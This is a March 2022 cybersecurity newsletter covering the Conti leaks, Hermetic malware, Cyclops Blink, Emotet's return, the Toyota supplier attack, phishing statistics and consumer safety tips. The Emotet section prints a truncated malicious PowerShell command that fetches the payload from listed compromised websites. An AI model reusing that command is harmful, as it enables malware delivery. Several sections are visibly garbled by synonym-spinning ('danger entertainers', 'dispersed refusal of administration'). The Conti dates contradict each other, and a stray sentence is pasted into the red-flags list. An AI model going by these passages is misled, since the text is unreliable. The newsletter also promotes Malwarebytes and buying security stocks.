MARCH EDITION 2022

THE THINGS YOU SHOULD KNOW

CONTI RANSOMWARE SOURCE CODE LEAKED

An alleged Ukrainian security researcher using the Twitter handle, ContiLeaks , exposed sensitive data originating from the private XMPP chat server of the Conti ransomware group. Leaked data includes a total of 541 JSON files and covers the period from June 2020, approximately when the Conti operation was first launched in February 2022. This data leak came shortly after the Conti group published a post stating that its affiliates fully supported the Russian government. The group also wrote that if anyone organized a cyberattack against Russia, it would use all of its resources to strike back at the "critical infrastructures of the enemy". Leaked data contains over 167,000 Jabber chat logs and includes nearly 239 bitcoin addresses, chat handles, IP addresses, administrative panels, and other infrastructure data. The data leak also includes BazarBackdoor APIs, the TrickBot command and control server source code, and a botnet that has been used at times to distribute Conti. This data will assist researchers and law enforcement; however, one area of concern is the public availability of an archive containing the source code for the Conti ransomware encryptor, decryptor, and builder, which other cybercriminals may use to launch future cyberattacks.

MALWARE FAMILIES TARGETING UKRAINIAN NETWORKS

Since the beginning of the Russia-Ukraine war, a few malware variations have been utilized against Ukrainian organizations, which were nitty-gritty. ESET specialists have distinguished more data encompassing the utilization of the disastrous malware HermeticWiper. Following dispersed refusal of administration (DDOS) assaults against Ukrainian sites, extra cyberattacks were launched. Danger entertainers utilized HermeticWizard - a worm - to spread HermeticWiper across networks through the Windows Management Instrumentation (WMI) and Server Message Block (SMB) conventions. HermeticRansom, a ransomware variation, was found focusing on Ukrainian frameworks during this equivalent time. CrowdStrike analysts established that the ransomware doesn't introduce the encryption key as expected, making the affected information recoverable. ESET guesses that the synchronous arrangement of HermeticWiper and HermeticRansom might have been planned to confound survivors of the genuine ability of HermeticWiper. Also, one more horrendous malware, known as IsaacWiper, was found focusing on a Ukrainian government organization. The timetable for improving these malware variations shows that the tasks were ready for a while. Hostile digital activities will probably go on throughout the Russia-Ukraine war, started by state-supported danger entertainers and individuals who conform to one or the other country.

A Quick Solution: As security firms aim at helping Ukrainian victims in recovering their files for free, Avast has released a free decryptor for the HermeticRansom ransomware employed in targeted attacks against Ukrainian systems since February 23, 2022.

The HermeticRansomware was one of the three components involved in disruptive attacks detailed by ESET researchers: HermeticWiper: Makes a system inoperable by corrupting its data HermeticWizard: Spreads HermeticWiper across a local network via WMI and SMB HermeticRansom: A ransomware written in Go

https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/#howto

SANDWORM DEPLOYS CYCLOPS BLINK

The National Security Agency (NSA), Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Agency (CISA), and the National Cyber Security Center (NCSC) released a malware analysis report on a newly identified malware dubbed Cyclops Blink. The malware is being used by an advanced persistent threat (APT) group - Sandworm. The group has previously been attributed to several high impact cyberattacks, including the 2015 disruption of Ukrainian electricity, NotPetya in 2017, and the 2019 disruptive attacks against Georgia. Cyclops Blink has been active since 2019 and is affecting network devices indiscriminately. It is a malicious Linux ELF executable that implements a modular framework allowing the threat actors to download/upload files, extract device information, and update the malware.

TRICKBOT HELPS EMOTET COME BACK FROM THE DEAD

Probably one of the best-known threats for the past several years, Emotet has forever been under serious investigation from the local infosec area. It seemed to take a withdrawal from the workforce on a few events. However, it has returned again.

In any case, when different regulation implementation organizations held onto the control of its botnet and brought it down in January 2021, certainty was a lot higher than Emotet and individuals behind had at long last tapped out. The framework was destroyed. However, recently contaminated PCs had gotten an extraordinary update that would successfully eliminate the malware at a particular date.

Out of the woods again

On November 15, security specialists who've followed Emotet declared that the danger was back. Emotet's long-lasting sidekick - TrickBot was helping it out by utilizing currently tainted machines to download the new Emotet binary.

To demonstrate this was no hiccup, malspam crusades disseminating Emotet also continued with the exemplary Office record baits containing macros.

These documents with extension .doc(m) and .xls(m) are the initial loader that will call out to one of several compromised websites to retrieve the Emotet payload proper using the following command:

```
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe \c start \B
powershell
$dfkj=$strs=http:\visteme.mx\shop\wp-a
dmin\PP\,https:\newsmag.danielolayinka
s.com\content\nVgyRFrTE68Yd9s6\,http:\a
v-quiz.tk\wp-content\k6K\,http:\ranvipclu
b.net\pvhko\a\,https:\g
```

Up until this point, everything demonstrates that Emotet has restarted its effective venture. We ought to expect malspam missions to increase before long.

In the previous month, there have been various arrests against ransomware administrators, alongside the production of task forces working together across borders. The arrival of Emotet could mean an expansion in ransomware assaults.

We prefer you to try Malwarebytes to prevent these kinds of attacks.

TOYOTA SHUTS DOWN PRODUCTION AFTER 'CYBER-ATTACK' ON SUPPLIER

Car manufacturer - Toyota suspended production at 14 plants in Japan for at least a day in response to a "system failure" at components supplier Kojima Industries.

In a brief statement issued on Monday (February 28), Toyota confirmed the temporary shutdown, which auto industry experts estimate might lead to a 5% drop in Toyota's monthly production or the loss of about 13,000 units.

Toyota added that it was continuing to work with its suppliers in strengthening the supply
chain in order to deliver vehicles "as soon as possible".

Just-in-time risks:

Car manufacturers such as Toyota have long practiced 'just in time' (JIT) inventory management, where components are delivered directly to production lines rather than stockpiled. This leads to massive cost savings in normal times, but it does leave the system reliant on every single supplier fulfilling orders on time.

Kojima Industries – which supplies plastic parts and electronic components to Toyota – has reportedly suffered a cyber-attack, but this remains unconfirmed.

TIME TO BUY CYBERSECURITY STOCKS

Cybersecurity stocks are getting a big boost this week as companies are on high alert of Russian hackers. The war in Ukraine is going beyond the borders. Cyber-attacks are expected to ramp up as a form of revenge.

With this in mind, security experts warn of a new form of malware that can harm data. As sanctions unfold in Russia, companies around the world are looking for protection.

If a company gets attacked, then it could cost millions to fix. In fact, research from IBM shows 2021 was the most expensive year so far for digital attacks at $4.24 million.

Many companies are shelling out money for protection rather than sitting back and waiting for an attack. According to Gartner, "Cloud security is forecast to record the highest growth at 33.8%" in 2022."

Here are the companies leading the rally:

Zscaler (Nasdaq: ZS)
CrowdStrike (Nasdaq: CRWD)
Palo Alto Networks (Nasdaq: PANW)
Check Point Software (Nasdaq: CHKP)
Fortinet (Nasdaq: FTNT)

THE MOST IMPERSONATED BRANDS IN PHISHING ATTACKS

Facebook, which was in the second spot in 2020, rose to the top spot for 2021, representing 14% of phishing pages, followed by Microsoft, with 13%.

The report analyzed 184,977 phishing pages linked from unique phishing emails between
January 1, 2021, and December 31, 2021.

Financial services - the most impersonated industry

With six brands in the top 20, financial services was the most impersonated industry of 2021, representing 35% of all phishing pages, rising sharply based on its place at 28% in 2020. Chase, PayPal, and Wells Fargo joined the list of the most impersonated financial services brands.

Microsoft is the most impersonated cloud brand and the top corporate brand

Microsoft is the second most impersonated brand in phishing attacks and the #1 most impersonated cloud brand, coming in just slightly behind Facebook. The report found that Microsoft phishing attacks sharply increased in sophistication in 2021, with a June attack leveraging automation to populate corporate logos and branding onto Microsoft 365 phishing pages. Joining Microsoft on the list of impersonated cloud brands are Netflix (#12) and Adobe (#15).

Facebook dominates social media phishing

Consistently ranked in the top five, Facebook once again dominated all other social media brands on the Phishers' Favorites list. Other social media brands on the list include WhatsApp (#4) and LinkedIn (#17). Despite other social media brands lagging Facebook on the list, social media brands overall represented 24% of all phishing pages, compared to 13% in 2020.

Additional key findings

35% of all phishing pages impersonated financial services brands
Mondays and Tuesdays are the top days for phishing
78% of phishing attacks occur on weekdays
Monday and Thursday are the top days for Facebook phishing
Thursday and Friday are the top days for Microsoft phishing

Source: Vade Secure

THE 21 ST CENTURY WAR – FROM COLD BLOOD TO SPINNING MACHINES

As Russia declares war on Ukraine, powerful cyberattacks ravaged Ukrainian websites. While Ukrainian sites have been constantly attacked for the past few months on a small scale, the last two days have been rather hard.

Reports from multiple sources indicate Russia is employing hybrid warfare by not only sending its land and air force but also attacking key installations of Ukraine via sophisticated cyber warfare. While Ukrainian sites have been constantly attacked for the past few months on a small scale, the last two days have been rather hard with Russia launching a series of very powerful cyberattacks on key sites like the website of the Ministry of Foreign Affairs, websites of key cabinet ministers, websites of the Ukrainian Parliament and other government departments and private banks.

The website of Ukraine's largest bank, "Privatbank", was hacked and provided no response when "pinging" was tried. It could possibly be a self-securing mechanism owing to a Distributed Denial of Service (DDoS) attack.

The Ukrainian Ministry for Digital transformation released a statement saying, "Ukraine is under a massive DDoS cyberattack, several government websites and banks are targeted." The Ukrainian government has also classified these cyberattacks as being on a "completely different level."

NetBlocks, the internet observatory group which tracks network disruptions across the globe, confirmed the impact these DDoS attacks had on the local networks. Such disruptions in January were hinted at as Russian handiwork but were quickly denied by Kremlin officials.

What has also happened is that OSINT Twitter accounts closely monitoring and publishing information on Russian excesses have been hacked by hackers or suspended by Twitter for allegedly violating rules.

The Ukrainian agencies quickly and effectively handled the network disruptions thanks to their proactive anticipation and preparedness and the support of the CRRT (cyber rapid response team) members deployed across Europe by the EU at Ukraine's request. The CRRT is a group comprising six member countries of the EU, namely Lithuania, Croatia, Poland, Estonia, Romania, and the Netherlands.

The Lithuanian Ministry of Defense released a statement on the developing the situation, "In response to Ukraine's request, we are activating a Lithuanian-led cyber rapid-response team, which will help Ukrainian

institutions to cope with growing cyber-threats."

Australia's Minister for Defense and Minister for Home Affairs released a joint statement saying, "Australia is committed to upholding the rules-based order online, just as we do offline and supporting our partners in the face of cyber threats. Australia will continue providing cyber security assistance to the Ukrainian Government, including through a new bilateral Cyber Policy Dialogue and further cyber security training for Ukrainian officials. Australia commends the swift action taken by Ukrainian authorities and the private sector to substantially mitigate the impact of this incident."

'HACKTIVISTS' HAVE DECLARED A CYBERWAR AGAINST RUSSIA

Global hacking group Anonymous has declared a "cyberwar" against Russia and has claimed responsibility for disrupting the websites of an oil giant, a state-controlled media agency, and several websites affiliated with the Russian and Belarusian governments.

DIGITAL SAFETY

It's easy to see why you need home security to protect your home but protecting yourself online is harder than we imagine. But think about it: you go online every day, multiple times a day, and you're using a lot of personal information as you do it, from your name to your email to your bank account information and pretty much everything else in your life. Digital security means protecting your computer, mobile devices, tablets, and any other Internet-connected devices from intruders in the form of hacking, phishing, and more. Digital security could also be used to protect your personal data from being used and sold by companies. There are several ways to protect yourself online, from VPNs to password managers and identity monitoring services. Few of the best practices are discussed below.

SMARTPHONE PROTECTION:

Don't Jailbreak - No, this isn't a game of Monopoly. Jailbreaking your smartphone means that you have complete control over your smartphone, avoiding the manufacturer's restrictions.

Make Smartphone Lock Sooner - In the moments where we don't have our smartphones on hand, you might have noticed that they lock, forcing you to enter in your passcode or biometrics like your fingerprint or face.

Perform All Software Updates - Companies like Google and Apple have people working around the clock to improve the smartphone's security, so if there's ever an iOS or Android update, do it.

Set up Two-Factor Authentication - If you've been paying attention, then you know that it's a smart idea to turn on auto-lock so you'll have to enter a passcode to access your smartphone, but if you want to take that a step further, set up two-factor authentication.

Create Long Passcode - When choosing a passcode, people tend to do something fairly obvious, like their birthday, numbers in chronological order or a portion of their phone number. Needless to say, this isn't the safest practice. Rather, the numbers should be truly random, and be sure to use a six-digital passcode, the longest possible.

Turn On Erase Data - Now, what if your smartphone is lost or stolen and for some reason, your hackers are able to access your account? Of course, this is a worst-case scenario, but in a weird way, thinking about what to do in these situations is kind of our job. Don't worry: there is a solution, and that is to turn on Erase Data, otherwise known as setting your smartphone to self-destruct. The other option is having the phone automatically "self-destruct" after too many failed passcode attempts.

Avoid Phishing and Pop-Ups - Phishing has gotten increasingly sophisticated, sending tech-savvy people ostensibly legitimate links and pop-up ads.

Turn Auto-Fill Off - Auto-fill, which fills out forms automatically with your personal and financial information is both incredibly convenient and incredibly dangerous if your phone gets into the wrong hands.

Website Red Flags

There are a number of red flags that not only make a website a poor user experience but also might be a clue that something is amiss. Watch out for: institutions to cope with growing cyber-threats."

- Flash warnings
- Pop-ups
- Too many exclamation points!!!!!
- Redirects to other sites that look unsafe
- Search engine warnings from your browser or search engine
- Bad spelling and grammar
- Illogical text
- Weird pictures
- No space to leave product reviews
- No return policy or privacy policy on site
- Prices that are too good to be true

As much as we hate to judge a book by its cover, these are all signs of a website that's not super safe.

How to protect PII (Personal Identifiable Information) Online?

1. Keep Personal Information Professional and Limited
2. Keep Your Privacy Settings On
3. Practice Safe Browsing – Use VPN Services
4. Make Sure Your Internet Connection is Secure. Use a Secure VPN Connection
5. Be Careful What You Download
6. Choose Strong Passwords
7. Make Online Purchases from Secure Sites
8. Be Careful What You Post
9. Be Careful Who You Meet Online
10. Keep Your Antivirus Program Up to Date
11. Backup data regularly
12. Monitor online activities
13. When in doubt, call support
14. Close unused accounts
15. Encrypt your personal data.